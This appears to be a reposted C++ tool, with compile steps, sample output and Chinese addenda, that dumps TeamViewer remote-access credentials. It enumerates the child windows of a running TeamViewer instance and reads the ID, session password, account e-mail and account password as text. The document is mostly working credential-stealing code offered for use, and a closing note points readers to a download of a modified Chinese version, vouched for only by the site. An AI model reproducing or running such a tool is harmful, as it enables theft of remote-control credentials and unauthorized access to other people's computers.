Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )
int status = 0;
BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
}
if (strstr(BufferContent, "Allow Remote Control") != NULL)
{
status = 1;
printf("TeamViewer ID: ");
}
if (strstr(BufferContent, "Please tell your partner") != NULL)
{
status = 1;
printf("TeamViewer PASS: ");
}
return 1;
}
BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
}
if (strstr(BufferContent, "E-mail") != NULL)
{
status = 1;
printf("E-mail: ");
}
if (strstr(BufferContent, "Password") != NULL)
{
status = 1;
printf("Password: ");
}
return 1;
}
int main()
{
HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
if (hwndTeamViewer)
{
EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
}
HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");
if (hwndAccount)
{
EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
}
return 0;
}
Compile with CL
cl TeamViewerDump.cpp
or with cl TeamViewerDump.cpp /EHsc
Requirements
TeamViewer must be running
Tested only with English GUI of TeamViewer
C:\tools\Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123
C:\tools\Projects>
[via@Konstantinos]
补充1:malayke同学放出了他精心修改的中文版获取工具,大家可以到这个链接下载:下载获取中文版TeamViewer的密码工具
补充2:中文版本已经过本站检测,没有问题,不放心的朋友可以自行虚拟机再度检测。